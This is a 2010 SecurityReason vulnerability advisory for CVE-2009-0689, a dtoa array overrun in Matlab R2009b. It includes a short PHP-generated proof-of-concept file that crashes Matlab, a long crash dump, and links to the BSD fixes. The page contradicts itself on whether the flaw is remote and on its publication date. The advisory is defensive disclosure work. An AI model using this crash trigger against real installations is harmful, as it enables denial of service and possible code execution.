SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Matlab R2009b Array Overrun (code execution)


Arrow  SecurityAlert : 6931
Arrow  CVE : CVE-2009-0689
Arrow  CWE : CWE-119
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : No
Arrow  Local Exploit : Yes
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
Arrow  Credit : Maksymilian Arciemowicz and sp3x
Arrow  Published : 08.01.2010

Arrow  Affected Software : Matlab R2009b



Arrow  Advisory Content :  

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ Matlab R2009b Array Overrun (code execution) ]

Author: Maksymilian Arciemowicz and sp3x
http://SecurityReason.com
Date:
- - Dis.: 07.05.2009
- - Pub.: 08.01.2009

CVE: CVE-2009-0689
CWE: CWE-119
Risk: High
Remote: Yes

Affected Software:
- - Matlab R2009b

NOTE: Prior versions may also be affected.

Original URL:
http://securityreason.com/achievement_securityalert/80


- --- 0.Description ---
MATLAB is a numerical computing environment and fourth generation
programming language. Developed by The MathWorks, MATLAB allows matrix
manipulation, plotting of functions and data, implementation of algorithms,
creation of user interfaces, and interfacing with programs in other
languages. Although it is numeric only, an optional toolbox uses the MuPAD
symbolic engine, allowing access to computer algebra capabilities. An
additional package, Simulink, adds graphical multidomain simulation and
Model-Based Design for dynamic and embedded systems.

In 2004, MathWorks claimed that MATLAB was used by more than one million
people across industry and the academic world


- --- 1. Matlab 2009b Array Overrun (code execution) ---
The main problem exist in dtoa implementation. Matlab has the same dtoa as
Mozilla, OpenBSD, MacOS, Google, Opera etc.
and it is the same like SREASONRES:20090625.

http://securityreason.com/achievement_securityalert/63

but fix for SREASONRES:20090625, used by openbsd was not good.
More information about fix for openbsd and similars SREASONRES:20091030,

http://securityreason.com/achievement_securityalert/69

We can create any number of float, which will overwrite the memory. In Kmax
has defined 15. Functions in dtoa, don't checks Kmax limit, and it is
possible to call 16<= elements of freelist array.


- --- 2. Proof of Concept (PoC) ---
There are several ways to make a successful attack. Simplest assumed the
creation of a script with a defective floating-point variable and execution
it. This will allow the possibility of code execution.

- -expl.m----------------------
cxib=0.<?php echo str_repeat("1",296450); ?>
- -expl.m----------------------

MATLAB crash file:C:\DOCUME~1\WinXPae\USTAWI~1\Temp\matlab_crash_dump.552
- ------------------------------------------------------------------------
Segmentation violation detected at Wed Dec 03 12:04:02 2009
- ------------------------------------------------------------------------

Configuration:
MATLAB Version: 7.9.0.529 (R2009b)
MATLAB License: [PRIV]
Operating System: Microsoft Windows XP
Window System: Version 5.1 (Build 2600: Dodatek Service Pack 3)
Processor ID: x86 Family 6 Model 7 Stepping 6, GenuineIntel
Virtual Machine: Java 1.6.0_12-b04 with Sun Microsystems Inc. Java
HotSpot(TM) Client VM mixed mode
Default Encoding: windows-1250

Fault Count: 1

Register State:
EAX = 71c71c71 EBX = 188ade48
ECX = 0000000a EDX = 188adde0
ESI = 00000002 EDI = 00000003
EBP = 00c3dec0 ESP = 00c3de90
EIP = 7baf965e FLG = 00010206

Stack Trace:
[0] libut.dll:_Balloc(0x188adde0, 0x188ade48, 10, 1) + 14 bytes
[1] libut.dll:_s2b(0x188adde0, 333333, 333333, 0x069f6bc7) + 112 bytes
[2] libut.dll:_ut_strtod(0x188adde0, 0x19a80048
"0.111111111111111111111111111111..", 0x00c3e024, 0x00c3e028) + 1123 bytes
[3] m_ir.dll:_mps_parse_matlab_real(0x188ad9f0, 0x00c3e068, 11, 0) + 576
bytes
[4] m_parser.dll:_mps_convert_M_NUMBER(0x188afb90, 0x1971d070,
0x1971d048, 0x188afb90) + 71 bytes
[5] m_parser.dll:_mps_convert_lval(0x188afb90, 0x1971d048, 0x1971d070, 0)
+ 224 bytes
[6] m_parser.dll:_mps_convert_M_Primary_4(0x188afb90, 0x1971d084,
0x1971d0e8, 0x188afb90) + 191 bytes
[7] m_parser.dll:_mps_convert_M_Stmt_2(0x188afb90, 0x1971d0d4,
0x1971d0e8, 0x188afb90) + 247 bytes
[8] m_parser.dll:_mps_convert_M_Stmts_2(0x188afb90, 0x1971d0e8,
0x188afb90, 0x199d95b0) + 703 bytes
[9] m_parser.dll:_mps_make_M_body_from_parse_tree(0x1971d0e8, 0, 333337,
0) + 1283 bytes
[10] m_parser.dll:_mps_convert_script(0x00c3e788, 18, 0x00c3e550
"ðåÃ", 0x7a36323f) + 1073 bytes
[11] m_parser.dll:_mps_convert_M_File_1(0x188afb90, 0x189b3960,
0x188afb90, 0x189b3960) + 66 bytes
[12] m_parser.dll:_mps_M_to_IR_eval(0x00c3e7b4, 0x00c3e774, 0x00c3e778,
0x00c3e77c) + 1471 bytes
[13] m_parser.dll:_mps_M_to_IR(0x00c3e80f, 0x00c3e7b4, 0x00c3e774,
0x00c3e778) + 307 bytes
[14] m_interpreter.dll:public: void __thiscall
Mfh_mp::inCompileMfile(char const *)(0x03ba1a86 "C:\Documents And
Settings\WinXPa..", 1, 0x1977c300 "¤Ä.z", 0x00850000) + 492 bytes
[15] m_interpreter.dll:public: void __thiscall
Mfh_mp::inCompileMOrLoadPFile(void)(0, 0x7a1459e2, 1, 0x1977c300 "¤Ä.z") +
266 bytes
[16] m_interpreter.dll:public: virtual void __thiscall
Mlm_mp::load_file(void)(0, 0x1977c300 "¤Ä.z", 0, 0x78134c58) + 32 bytes
[17] m_dispatcher.dll:public: void __thiscall
Mlm_MATLAB_fn::try_load(void)(0x19728978, 0x78159334, 1, 0x00c3ee54
"ØïÃ") + 71 bytes
[18] m_dispatcher.dll:public: void __thiscall
Mlm_MATLAB_fn::load(void)(0, 0x19728978, 0, 0xffffffff) + 76 bytes
[19] m_dispatcher.dll:public: virtual void __thiscall
Mfh_file::dispatch_fh(int,struct mxArray_tag * *,int,struct mxArray_tag *
*)(0, 0x00c3ef04, 0, 0x00c3ef64) + 364 bytes
[20] m_interpreter.dll:int __cdecl inDispatchFromStack(int,char const
*,int,int)(828, 0, 0, 0) + 623 bytes
[21] m_interpreter.dll:_inCallFcnFromReference(0x19860138, 0x198d00e0, 0,
0x02850000) + 80 bytes
[22] m_interpreter.dll:int __cdecl inInterp(enum
inDebugCheck,int,int,enum opcodes,struct inPcodeNest_tag volatile *,int
*)(1, 0, 1, 0) + 6204 bytes
[23] m_interpreter.dll:int __cdecl protected_inInterp(enum
inDebugCheck,int,int,enum opcodes,struct inPcodeNest_tag *,int *)(1, 0, 1,
0) + 39 bytes
[24] m_interpreter.dll:int __cdecl inInterPcodeSJ(enum
inDebugCheck,int,int,enum opcodes,struct inPcodeNest_tag *,int *)(1, 0, 1,
0) + 251 bytes
[25] m_interpreter.dll:int __cdecl inExecuteMFunctionOrScript(class
Mfh_mp *,bool)(0x02850001, 0xffffffff, 0x19a187b0, 0) + 924 bytes
[26] m_interpreter.dll:void __cdecl inRunMfile(int,struct mxArray_tag *
*,int,struct mxArray_tag * *,class Mfh_mp *,struct inWorkSpace_tag *)(0,
0x00c3f988, 0, 0) + 466 bytes
[27] m_interpreter.dll:public: virtual void __thiscall
Mfh_mp::dispatch_file(struct _mdUnknown_workspace *,int,struct mxArray_tag
* *,int,struct mxArray_tag * *)(0, 0, 0x00c3f988, 0) + 23 bytes
[28] m_interpreter.dll:public: virtual void __thiscall
Mfh_mp::dispatch_file(int,struct mxArray_tag * *,int,struct mxArray_tag *
*)(0, 0x00c3f988, 0, 0) + 25 bytes
[29] m_dispatcher.dll:public: virtual void __thiscall
Mfh_file::dispatch_fh(int,struct mxArray_tag * *,int,struct mxArray_tag *
*)(0, 0x00c3f988, 0, 0) + 204 bytes
[30] m_interpreter.dll:void __cdecl inEvalPcodeHeaderToWord(struct
_memory_context *,int,struct mxArray_tag * * const,struct _pcodeheader
*,class Mfh_mp *,unsigned long)(0x7bb796d4, 0, 0x00c3f988, 0x00c3f898) + 73
bytes
[31] m_interpreter.dll:enum inExecutionStatus __cdecl
in_local_call_script_function(struct _memory_context *,struct _pcodeheader
*,int,struct mxArray_tag * * const,unsigned long,bool)(0x7bb796d4,
0x00c3f898, 0, 0x00c3f988) + 70 bytes
[32]
m_interpreter.dll:__catch$??1inProtectHotSegment@@QAE@XZ$0(0x7bb796d4,
0x03ae5b90 "ma\n", 0, 0) + 888 bytes
[33] m_interpreter.dll:enum inExecutionStatus __cdecl
inEvalCmdWithLocalReturn(char const *,int *,bool,bool,bool (__cdecl*)(void
*,char const *))(0x03ae5b90 "ma\n", 0, 0, 1) + 80 bytes
[34] m_interpreter.dll:public: virtual enum inExecutionStatus __thiscall
InterpBridge::EvalCmdWithLocalReturn(char const *,int
*,bool,bool)(0x03ae5b90 "ma\n", 0, 0, 1) + 25 bytes
[35] m_interpreter.dll:_inEvalCmdWithLocalReturn(0x03ae5b90 "ma\n", 0, 0,
1) + 30 bytes
[36] bridge.dll:enum inExecutionStatus __cdecl
evalCommandWithLongjmpSafety(char const *)(0x03ae5b90 "ma\n", 0,
0x18894ac8, 0) + 67 bytes
[37] bridge.dll:__catch$_mnParser$0(0x03d0b378, 0, 0x068ce201, 1) + 300
bytes
[38] mcr.dll:private: void __thiscall
mcrInstance::mnParser_on_interpreter_thread(void)(0x18894b00, 0x066fe5dc,
10, 0x00c3fccc) + 51 bytes
[39] mcr.dll:public: void __thiscall
boost::function0<void>::operator()(void)const (0, 0x18894ac8, 0,
0x18894ac8) + 63 bytes
[40] mcr.dll:public: virtual void __thiscall
mcr::runtime::InterpreterThread::Impl::NoResultInvocationRequest::run(void)
(0x7a27a800, 0x066fe000 "...y", 0x00c3fb54, 0) + 53 bytes
[41] mcr.dll:private: static void __cdecl
mcr::runtime::InterpreterThread::Impl::invocation_request_handler(int)(0x18
894ac8, 0, 0x00030000 "Actx ", 0x00c3fcb4) + 40 bytes
[42] uiw.dll:bool __cdecl UIW_DispatchUserMessage(int,int)(9225,
0x18894ac8, 0x00c3fcb4, 2) + 81 bytes
[43] uiw.dll:long __stdcall HandleUserMsgHook(int,unsigned int,long)(0,
1, 0x00c3fcb4, 0x79c73540) + 95 bytes
[44] USER32.dll:0x7e381923(0x00030000 "Actx ", 1, 0x00c3fcb4,
0x7b38edd0)
[45] USER32.dll:0x7e37b317(0x00c3fca4, 0x00c3fcb4, 0x00c3fcd0, 0)
[46] USER32.dll:0x7e3778d0(0x00c3fca4, 48, 0x00030000 "Actx ", 1)
[47] ntdll.dll:0x7c90e473(0x00c3fd20, 0, 0, 0)
[48] uiw.dll:void __cdecl UIW_GetAndDispatchMessage(struct tagMSG
*)(0x00c3fd20, 2, 2, 0x18894ac8) + 20 bytes
[49] uiw.dll:void __cdecl UIW_GetAndDispatchMessage(void)(0x03cddcf0, 0,
0x03d40d00, 0) + 15 bytes
[50] uiw.dll:void __cdecl ws_ProcessPendingEventsMainLoop(int,bool)(1, 0,
0x00c3fdbc "üýÃ", 0x7a27d26a) + 356 bytes
[51] uiw.dll:void __cdecl ws_ProcessPendingEvents(int,int)(1, 0xffffffff,
0x03cddcf0, 0x03d40d00) + 14 bytes
[52] mcr.dll:public: void __thiscall
mcr::runtime::InterpreterThread::Impl::process_events(class
boost::shared_ptr<class mcr::runtime::InterpreterThread::Impl> const
&)(0x00c3fe14, 2, 0x03d40768, 0x046add8c) + 138 bytes
[53]
mcr.dll:__catch$?run@Impl@InterpreterThread@runtime@mcr@@QAEKABV?$shared_pt
r@VImpl@InterpreterThread@runtime@mcr@@@boost@@PAUinit_context@1234@@Z$0(0x
00c3fe14, 0x03d44280, 0x7a27d630, 0x03d3d710) + 128 bytes
[54] mcr.dll:unsigned long __cdecl run_init_and_handle_events(void
*)(0x046add8c, 0, 0x03d40708, 0) + 76 bytes
[55] mcr.dll:private: void __thiscall
mcr::runtime::InterpreterThreadFactory::runThreadFunction(void)(0x00c3fec8,
0x00c3fe80, 0x00c3fe84 "ðþÃ", 0x7bafb34c) + 108 bytes
[56] matlab.exe:public: void __thiscall
boost::function0<void>::operator()(void)const (336710, 0x0040b7f4, 0,
0x78131731) + 63 bytes
[57] matlab.exe:int __cdecl mcrMain(int,char const * * const)(1,
0x03d43378, 4194304, 1) + 230 bytes
[58] matlab.exe:_WinMain@16(4194304, 0, 336710, 1) + 75 bytes
[59] matlab.exe:___tmainCRTStartup(1068244, 514808, 0x7ffde000,
0x80544c7d) + 320 bytes
[60] kernel32.dll:0x7c817077(0x00406faa, 0, 0x00905a4d, 3)

eax=0x71c71c71

edi=0x0 esi=0x2

- --- 3. SecurityReason Note ---
Officialy SREASONRES:20090625 has been detected in:
- - OpenBSD
- - NetBSD
- - FreeBSD
- - MacOSX
- - Google Chrome
- - Mozilla Firefox
- - Mozilla Seamonkey
- - Mozilla Thunderbird
- - Mozilla Sunbird
- - Mozilla Camino
- - KDE (example: konqueror)
- - Opera
- - K-Meleon
- - F-Lock
- - MatLab
- - J

This list is not yet closed.


- --- 4. Fix ---
NetBSD fix (optimal):
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h

OpenBSD fix:
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dmisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdio/vfprintf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/arch/vax/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtordd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopdd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodnrp.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodI.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIg.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIdd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoId.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/qnan.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xLfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ffmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_dfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ddfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g__fmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_Qfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/arithchk.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/gcvt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/ecvt.c


- --- 5. Credits ---
Discovered by sp3x and Maksymilian Arciemowicz from SecurityReason.com.


- --- 6. Greets ---
Infospec p_e_a pi3


- --- 7. Contact ---
Email:
- - cxib {a.t] securityreason [d0t} com
- - sp3x {a.t] securityreason [d0t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
- - http://securityreason.com/key/sp3x.gpg

http://securityreason.com/
http://securityreason.com/exploit_alert/ - Exploit Database
http://securityreason.com/security_alert/ - Vulnerability Database


-----BEGIN PGP SIGNATURE-----

iEYEARECAAYFAktGcqMACgkQpiCeOKaYa9Zg8gCg0PUP5FgOAesRzOzsvDpTFMYL
AqwAoNZ+nOjlh5GcVYSGoUoqeUljYR/+
=eX02
-----END PGP SIGNATURE-----


Arrow  References :

http://securityreason.com/achievement_securityalert/63
http://securityreason.com/achievement_securityalert/69




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.